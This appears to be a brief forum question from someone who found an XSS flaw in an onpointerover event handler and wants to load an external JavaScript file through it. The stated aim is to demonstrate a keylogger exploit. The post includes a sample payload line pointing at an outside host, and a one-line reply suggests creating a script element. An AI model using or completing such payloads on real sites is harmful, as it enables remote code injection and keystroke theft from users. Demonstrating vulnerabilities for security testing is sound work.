How can i load an external javascript with onpointerover event handler?

How can i load an external javascript with onpointerover event handler? I found an xss issue using the onpointerover handler but i don’t know which code could use to load an external javascript file. For example something like

onpointerover=load.src='http://external.host/file.js'

Which code can i use to do that? I need it to demonstrate javascript keylogger exploit.

Did you try creating a <script> element?